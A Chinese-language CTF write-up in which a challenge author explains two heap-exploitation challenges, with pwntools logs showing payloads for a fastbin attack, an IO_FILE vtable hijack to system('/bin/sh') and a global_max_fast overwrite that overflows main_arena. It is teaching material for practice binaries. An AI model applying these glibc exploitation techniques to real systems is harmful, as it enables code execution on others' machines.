胖哈勃杯Pwn400、Pwn500詳解

Ox9A82發表於2017-07-03

概述

這次的胖哈博杯我出了Pwn400、Pwn500兩道題目,這裡講一下出題和解題的思路。我個人感覺前兩年的Pwn題更多的是考察單一的利用技巧,比我這有個洞怎麼利用它拿到許可權。但是我研究了一些最近的題目發現,Pwn題目逐步從考察利用技巧變為考察邏輯思維。
我這次的兩道題目主要是圍繞IO_FILE的利用展開,其次是注重考察利用思路。

Pwn400

漏洞

Welcome to life Crowdfunding~~


==============================
1.Create a Crowdfunding
2.Edit my Crowdfunding
3.Delete my Crowdfunding
4.Show my Crowdfunding
5.Submit
==============================
6.SaveAdvise
7.exit
==============================

Pwn400是個常見的選單程式,提供6個功能,開啟了NX、CANARY沒有開啟PIE和RELRO,程式一共存在兩個漏洞。
第一個漏洞是一個UAF,比較容易發現,在3號Delete功能中釋放堆記憶體之後並沒有把指標清零。
screenshot1.png
第二個漏洞是一個堆溢位,同樣很明顯,title的內容在讀入時會溢位8個位元組覆蓋到advise塊的頭部。
screenshot.png

思路

我設計這道題目的時候設定了兩個難點,第一是如何進行資訊洩露(leak),第二是如何劫持流程。
透過fastbin的UAF可以很容易的想到進行fastbin attack,但是這不是我的考查點,因為fastbin attack大家都很熟悉,就像我前面所說的我題目設計的難點不是漏洞利用的技巧(這些大家都很熟悉的東西再出也沒什麼意思了)而是一種邏輯。對於這道題就是怎麼把一個UAF轉化成資訊洩漏,透過分析程式碼你可以發現題目裡面唯一一次的輸出機會是在選項錯誤的時候
screenshot65e44.png
而fastbin attack的效果恰好是任意地址分配,那麼這時候就應該有如下的思路:

Use-After-Free==>fastbin attack==>overwrite bss_name_ptr==>資訊洩漏(Leak libc)

這個就是我說的第一個難點,fastbin很簡單、UAF也不難發現,難的是要想到利用bss_name_ptr做洩漏。

在拿到Libc基址之後,就要對第二個漏洞進行利用去拿許可權,經常做Pwn的選手看到這種只能覆蓋到Chunk頭的溢位就應該能聯想到overlapping的利用方式。一般來說overlapping可以做很多事,但是我這裡限制了堆的分配和釋放次數
screenshota4a97.png
所以這裡overlapping的效果只能是控制堆塊的內容,到目前為止雖然我們可以控制內容但是這一切操作都沒有辦法劫持到程式流程。因此就引出了第二個考察點,控制誰的內容能劫持程式流程?
答案存在於這裡
screenshot0e2cf.png
我們可以想辦法把fopen分配的IO_FILE_plus置於發生overlapping的堆塊之後,然後進行extend chunk再去修改它的內容以達成劫持流程的目的。
那麼這個可以實現嗎?從程式碼來看是可行的,除錯一下會發現IO_FILE_plus的大小正好在500位元組左右,進行extend chunk正好滿足32~1024的限制條件。
screenshot63771.md.png

利用

為了控制bss_name_ptr的值需要在輸入name的時候在data段上構造一個偽chunk頭,這裡正好是0x20大小

[DEBUG] Received 0xfa bytes:
    'Welcome to life Crowdfunding~~\n'
    '\n'
    '\n'
    '==============================\n'
    '1.Create a Crowdfunding\n'
    '2.Edit my Crowdfunding\n'
    '3.Delete my Crowdfunding\n'
    '4.Show my Crowdfunding\n'
    '5.Submit\n'
    '==============================\n'
    '6.SaveAdvise\n'
    '7.exit\n'
    '==============================\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1c bytes:
    'well,give me your name pls.\n'
[DEBUG] Sent 0x12 bytes:
    00000000  61 61 61 61  61 61 61 61  00 00 00 00  00 00 00 00  │aaaa│aaaa│····│····│
    00000010  21 0a                                               │!·│
    00000012

chunk header構造好就是萬事俱備只欠東風
透過Create、Delete、Edit的UAF就可以進行fastbin attack篡改bss_name_ptr

[DEBUG] Received 0xfe bytes:
    'Aha We have already have +1 seconds\n'
    '\n'
    '==============================\n'
    '1.Create a Crowdfunding\n'
    '2.Edit my Crowdfunding\n'
    '3.Delete my Crowdfunding\n'
    '4.Show my Crowdfunding\n'
    '5.Submit\n'
    '==============================\n'
    '6.SaveAdvise\n'
    '7.exit\n'
    '==============================\n'
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0xfb bytes:
    'OK,the Crowdfunding is deleted!\n'
    '\n'
    '\n'
    '==============================\n'
    '1.Create a Crowdfunding\n'
    '2.Edit my Crowdfunding\n'
    '3.Delete my Crowdfunding\n'
    '4.Show my Crowdfunding\n'
    '5.Submit\n'
    '==============================\n'
    '6.SaveAdvise\n'
    '7.exit\n'
    '==============================\n'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x10 bytes:
    'inputs seconds:\n'
[DEBUG] Sent 0x8 bytes:
    '6299848\n'
[DEBUG] Received 0x100 bytes:
    'Ok,the Crowdfunding is +6299848s now!\n'
    '\n'
    '==============================\n'
    '1.Create a Crowdfunding\n'
    '2.Edit my Crowdfunding\n'
    '3.Delete my Crowdfunding\n'
    '4.Show my Crowdfunding\n'
    '5.Submit\n'
    '==============================\n'
    '6.SaveAdvise\n'
    '7.exit\n'
    '==============================\n'
[DEBUG] Sent 0x2 bytes:
    '5\n'
[DEBUG] Received 0x24 bytes:
    'Are you sure submit this post?(Y/N)\n'
[DEBUG] Sent 0x1 bytes:
    'Y' * 0x1
[DEBUG] Received 0x20 bytes:
    'Pls give me your e-mail address\n'
[DEBUG] Sent 0x9 bytes:
    'bbbbbbbb\n'
[DEBUG] Received 0x51 bytes:
    'OK,e-mail has already posted\n'
    'The last step is do you want to leave some message?\n'
[DEBUG] Sent 0x9 bytes:
    00000000  18 20 60 00  00 00 00 00  0a                        │· `·│····│·│
    00000009

之後故意輸入錯誤選項輸出bss_name_ptr,來獲取Libc基地址

[DEBUG] Received 0xdb bytes:
    '\n'
    '\n'
    '==============================\n'
    '1.Create a Crowdfunding\n'
    '2.Edit my Crowdfunding\n'
    '3.Delete my Crowdfunding\n'
    '4.Show my Crowdfunding\n'
    '5.Submit\n'
    '==============================\n'
    '6.SaveAdvise\n'
    '7.exit\n'
    '==============================\n'
[DEBUG] Sent 0x3 bytes:
    '10\n'
[DEBUG] Received 0xfd bytes:

=====>free_addr :0x7f8e1a15f940


=====>sys_addr :0x7f8e1a121390


=====>std_err :0x7f8e1a4a0540

至此第一步操作資訊洩漏已經完成

第二步操作是進行extend chunk來控制IO_FILE_plus的vtable實現劫持流程

透過向40位元組的塊中寫入48位元組來對後面的IO_FILE_plus堆塊進行extend heap,extend heap是比較常見的技術,這裡不再詳述了。

[DEBUG] Received 0x17 bytes:
    'Pls input advise size:\n'
[DEBUG] Sent 0x3 bytes:
    '40\n'
[DEBUG] Received 0x11 bytes:
    'Pls input tiltle\n'
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  61 02 00 00  00 00 00 00  │AAAA│AAAA│a···│····│
    00000030  0a                                                  │·│
    00000031

之後需要首先獲取堆的基地址,如果不獲取基地址vtable就沒法構造

[DEBUG] Received 0x111 bytes:
    'Pls input your advise\n'
    'OK!(Advise allocate on 0xf25470)\n'
    '\n'
    '==============================\n'
    '1.Create a Crowdfunding\n'
    '2.Edit my Crowdfunding\n'
    '3.Delete my Crowdfunding\n'
    '4.Show my Crowdfunding\n'
    '5.Submit\n'
    '==============================\n'
    '6.SaveAdvise\n'
    '7.exit\n'
    '==============================\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'

=====>heap_base :0xf25410

接下來我們來控制extend出來的overlapping chunk的內容。
輸入自行構造的IO_FILE_plus,其中vtable我們根據前面獲取到的堆基地址進行構造。在構造vtable時直接填充指標就可以,但是IO_FILE_plus卻不行(否則會crash),必須先行根據libc版本除錯獲取IO_FILE_plus裡面的資料內容,然後在構造的時候進行填充。因為呼叫vtable函式的時候會把IO_FILE_plus的指標作為第一個引數傳入,因此我們在構造IO_FILE_plus時在最前面加上"/bin/sh"。

[DEBUG] Received 0x16 bytes:
    'Pls input your advise\n'
[DEBUG] Sent 0x189 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  │/bin│/sh·│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000060  00 00 00 00  00 00 00 00  40 95 6f c9  97 7f 00 00  │····│····│@·o·│····│
    00000070  03 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000080  00 00 00 00  00 00 00 00  80 55 f2 00  00 00 00 00  │····│····│·U··│····│
    00000090  ff ff ff ff  ff ff ff ff  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000a0  90 55 f2 00  00 00 00 00  00 00 00 00  00 00 00 00  │·U··│····│····│····│
    000000b0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000c0  ff ff ff ff  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000d0  00 00 00 00  00 00 00 00  80 55 f2 00  00 00 00 00  │····│····│·U··│····│
    000000e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000f0  90 a3 37 c9  97 7f 00 00  90 a3 37 c9  97 7f 00 00  │··7·│····│··7·│····│

至此這道題就成功的利用了

題目設計文件

screenshot0138e.md.png

Pwn500

Pwn500是我花了比較大的力氣出的一道題,如果你觀察國內一些質量比較差的CTF會發現Pwn基本上就是那幾種套路大家抄來抄去的沒什麼意思。相反一些高質量的比賽諸如Hitcon、0CTF,總會有一些新東西可以讓人眼前一亮,透過題目能夠讓選手學到一些新知識。我這次Pwn500的設計之初就給自己定了一個目標,凡是以前CTF出現過的玩法我這次絕對不出,從結果來看這次創新還是比較成功的。

漏洞

Pwn500是個有二級選單的題目

welcome to House of lemon
This is a lemon store.

Here is our lemon types list:
1.Meyer lemon
2.Ponderosa lemon
3.Leave advise
4.Submit

Now you have 10$
Pls input your choice:

這道題目一共有兩個漏洞,開啟了所有的保護(因此.got表因RELRO不可寫,比賽中有選手特意問過我這個)
第一個漏洞是在4號Submit功能中存在一個記憶體未初始化漏洞,這個漏洞沒有對棧上的記憶體進行初始化就直接使用了,如果我們以特定的順序呼叫函式,這個漏洞就可以讀到前面函式遺留下來的棧內容從而導致資訊洩漏。
screenshot955d1.md.png

第二個漏洞相當明顯,在向16個位元組的結構讀入資料時使用了錯誤的大小導致指標被覆蓋

由於不存在使用指標進行的讀寫等操作,所以指標覆蓋並不會直接導致任意地址讀寫的結果。但是這個連結串列並不是普通的單連結串列,我是使用如下程式碼進行的link和unlink:

link
bck=data_start.bk;
data_start.bk=ptr;
ptr->fd=&data_start;
ptr->bk=bck;
bck->fd=ptr;
unlink
ul=data_start.bk;
bck=ul->bk;
data_start.bk=bck;
bck->fd=&data_start;

如果你熟悉ptmalloc的原始碼或是經常做Pwn,那麼可能很快就意識到這個其實就是unsorted bin的連線方式(比如雞丁師傅直接就看出是unsorted bin,厲害的很),所以我這裡實質上是提供了一個unsorted attack。
其實我本來是想直接設定一個unsorted attack的,但是實際除錯後發現會影響後續的利用步驟,索性按照unsorted attack的組織方式寫了一個連結串列提供了一個任意地址寫固定值的機會。

此外要強調的一點是題目中的每種操作基本上都只能做1次,這個限制就斷絕了其他利用方法的可能。

思路

我個人認為這道題是相當難的,需要對libc有很深入的瞭解,並且思維要開闊。難點有2個,第一個是拿到任意地址寫固定值後選擇往何處寫,第二是如何進行main_arena overflow。

首先肯定是需要洩漏地址,我限制了洩漏函式只能使用一次,這樣一來洩漏的內容就只能是棧地址、堆地址、Libc地址、主模組地址(因為開啟了PIE)中的一個。對於利用來說,我們肯定選擇Libc地址進行洩漏。
從溢位到unsorted attack不必多說,拿到unsorted attack之後最大的問題要寫的目標是誰。
由於unlink造成的寫只能寫固定值,並且這個值所代表的地址的內容並不為我們所控(data段上的data_start地址)。因此這裡的寫不能透過寫malloc_hook、_IO_list_all、vtable等結構直接獲取shell。

設計的思路是寫global_max_fast,這個值位於glibc的bss段上,初始時為0在堆經過初始化後會被賦為0x80(x64)。我們知道fastbin是存在一個大小邊界的,只有小於這個邊界值的堆塊才會使用fastbin的機制管理,一般來說x86上是64位元組,x64上是128位元組。其實這個邊界就是global_max_fast,如果我們修改了這個邊界值會導致歸屬於fastbin塊的範圍發生變化。
screenshot.png

其實對global_max_fast動手腳不是第一次出現在CTF中,在去年的0CTF中同樣有一道題目是透過任意地址寫global_max_fast來進行的利用。不過單純的把global_max_fast改大並不能讓我們控制到程式的執行流程,真正的問題出在_int_free中
screenshote34ef.md.png
在_int_free中,首先驗證了釋放塊的大小與global_max_fast的關係,之後使用fastbin_index由chunk size計算下標
screenshot9118b.md.png
然而fastbin_index宏只是簡單的根據size大小計算index值,這樣如果我們在前面使用過大的size值就會導致main_arena溢位。
screenshot669c2.md.png
事實上2004年發表的《Malloc Maleficarum》中就提到過這一點,做Pwn的同學應該都讀過這篇經典文章,文章中作者把這種利用方法稱為House of Prime。但是House of Prime實際上是實現不了的,不僅HoP實現不了而且其中很多東西都存在問題,正像一個外國人評價的

When the “Malloc Maleficarum” was published, as it was a purely theoretical article, contained no real exploit implementations or practical examples.

screenshotace93.md.png

雖然House of Prime不能實現,但是_int_free在計算fastbin的下標時的確是存在問題,而這也是我這道House of Lemon的出題思路。如果你仔細研究過glibc你應該會知道標準的輸入輸出流(stdin、stdout)都是位於glibc模組的data段的,使用者程式使用的是這一結構的指標。如果你再細心一點你會發現stdin、stdout正好被編譯在main_arena後面,就是說如果fastbin的尺寸合適是可以溢位main_arena覆蓋到後面stdout\stdin結構的。我們知道堆中釋放的記憶體只是邏輯上的釋放,實際上的記憶體對映並不會取消,那麼我們可以先在合適尺寸的堆中填入偽造的函式指標,再釋放這個堆就可以溢位main_arena覆蓋標準流的vtable從而劫持程式流程。

利用

首先任意呼叫一個函式,目的是在棧上留存一些資料,然後呼叫4號功能洩漏出未初始化的記憶體。

[DEBUG] Received 0xf4 bytes:
    '\n'
    'welcome to House of lemon\n'
    'This is a lemon store.\n'
    '\n'
    'Here is our lemon types list:\n'
    '1.Meyer lemon\n'
    '2.Ponderosa lemon\n'
    '3.Leave advise\n'
    '4.Submit\n'
    '\n'
    'Now you have 0$\n'
    'Pls input your choice:\n'
[DEBUG] Sent 0x2 bytes:
    '4\n'
    'Hello VipLeave your information\n'
    'Pls input your phone number first:\n'
[DEBUG] Sent 0x2 bytes:
    'a\n'
[DEBUG] Received 0x1f bytes:
    'Ok,Pls input your home address\n'
[DEBUG] Sent 0x29 bytes:
    'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
[DEBUG] Received 0xf0 bytes:
    00000000  4f 4b 2c 79  6f 75 72 20  69 6e 70 75  74 20 69 73  │OK,y│our │inpu│t is│
    00000010  3a 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │:bbb│bbbb│bbbb│bbbb│
    00000020  62 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │bbbb│bbbb│bbbb│bbbb│
    00000030  62 62 62 62  62 62 62 62  62 90 ae 55  95 22 7f 0a  │bbbb│bbbb│b··U│·"··│
    00000040  77 65 6c 63  6f 6d 65 20  74 6f 20 48  6f 75 73 65  │welc│ome │to H│ouse│
    00000050  20 6f 66 20  6c 65 6d 6f  6e 0a 54 68  69 73 20 69  │ of │lemo│n·Th│is i│
    00000060  73 20 61 20  6c 65 6d 6f  6e 20 73 74  6f 72 65 2e  │s a │lemo│n st│ore.│
    00000070  0a 0a 48 65  72 65 20 69  73 20 6f 75  72 20 6c 65  │··He│re i│s ou│r le│
    00000080  6d 6f 6e 20  74 79 70 65  73 20 6c 69  73 74 3a 0a  │mon │type│s li│st:·│
    00000090  31 2e 4d 65  79 65 72 20  6c 65 6d 6f  6e 0a 32 2e  │1.Me│yer │lemo│n·2.│
    000000a0  50 6f 6e 64  65 72 6f 73  61 20 6c 65  6d 6f 6e 0a  │Pond│eros│a le│mon·│
    000000b0  33 2e 4c 65  61 76 65 20  61 64 76 69  73 65 0a 34  │3.Le│ave │advi│se·4│
    000000c0  2e 53 75 62  6d 69 74 0a  0a 4e 6f 77  20 79 6f 75  │.Sub│mit·│·Now│ you│
    000000d0  20 68 61 76  65 20 30 24  0a 50 6c 73  20 69 6e 70  │ hav│e 0$│·Pls│ inp│
    000000e0  75 74 20 79  6f 75 72 20  63 68 6f 69  63 65 3a 0a  │ut y│our │choi│ce:·│
    000000f0

=====>leak_addr :0x7f229555ae90
=====>libc_base :0x7f2295526960
=====>system_addr :0x7f229556bcf0
=====>max_fast :0x7f22958ec158

之後新建一個Lemon以獲得一個任意地址寫固定值的機會,我們把寫的目標設為global_max_fast

[DEBUG] Received 0x94 bytes:
    '\n'
    'You choice the Meyer lemon!\n'
    '1.Information about Meyer lemon\n'
    '2.Add to my cart\n'
    '3.Remove from my cart\n'
    '4.Leave Message\n'
    '5.back..\n'
    'Pls Input your choice:\n'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0xb bytes:
    'Get Input:\n'
[DEBUG] Sent 0x21 bytes:
    00000000  63 63 63 63  63 63 63 63  63 63 63 63  63 63 63 63  │cccc│cccc│cccc│cccc│
    00000010  48 c1 8e 95  22 7f 00 00  48 c1 8e 95  22 7f 00 00  │H···│"···│H···│"···│
    00000020  0a                                                  │·│
    00000021

然後根據計算好的溢位距離新建一個chunk,之後我們會釋放這個chunk從而溢位main_arena

[DEBUG] Received 0x36 bytes:
    '1.leave advise\n'
    '2.edit advise\n'
    '3.delete advise\n'
    '4.return\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x16 bytes:
    'Input size(200~8000):\n'
[DEBUG] Sent 0x5 bytes:
    '6064\n'

之後我們對連結串列進行unlink覆寫global_max_fast,注意必須要先分配chunk再去覆寫global_max_fast,因為此時的chunk尚屬於large chunk否則就會在_int_malloc中發生crash。

[DEBUG] Received 0xb1 bytes:
    '\n'
    'welcome to House of lemon\n'
    'This is a lemon store.\n'
    '\n'
    'Here is our lemon types list:\n'
    '1.Meyer lemon\n'
    '2.Ponderosa lemon\n'
    '3.Leave advise\n'
    '4.Submit\n'
    '\n'
    'Now you have 0$\n'
    'Pls input your choice:\n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x94 bytes:
    '\n'
    'You choice the Meyer lemon!\n'
    '1.Information about Meyer lemon\n'
    '2.Add to my cart\n'
    '3.Remove from my cart\n'
    '4.Leave Message\n'
    '5.back..\n'
    'Pls Input your choice:\n'
[DEBUG] Sent 0x2 bytes:
    '3\n'

因為我們已經在chunk中佈置好了fake function pointer了,這裡直接釋放chunk就可以成功覆寫到stdout的IO_FILE_plus的vtable。

[DEBUG] Received 0xb1 bytes:
    '\n'
    'welcome to House of lemon\n'
    'This is a lemon store.\n'
    '\n'
    'Here is our lemon types list:\n'
    '1.Meyer lemon\n'
    '2.Ponderosa lemon\n'
    '3.Leave advise\n'
    '4.Submit\n'
    '\n'
    'Now you have 0$\n'
    'Pls input your choice:\n'
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x36 bytes:
    '1.leave advise\n'
    '2.edit advise\n'
    '3.delete advise\n'
    '4.return\n'
[DEBUG] Sent 0x2 bytes:
    '3\n'

至此只要等到程式流程執行到輸出函式就可以成功的劫持流程了。

題目設計文件

screenshote14ba.png

番外

感謝你看到了這裡,實際上由於我少了加了一個驗證,Pwn500題目存在一個非常簡單的漏解,不知道你發現了沒有

相關文章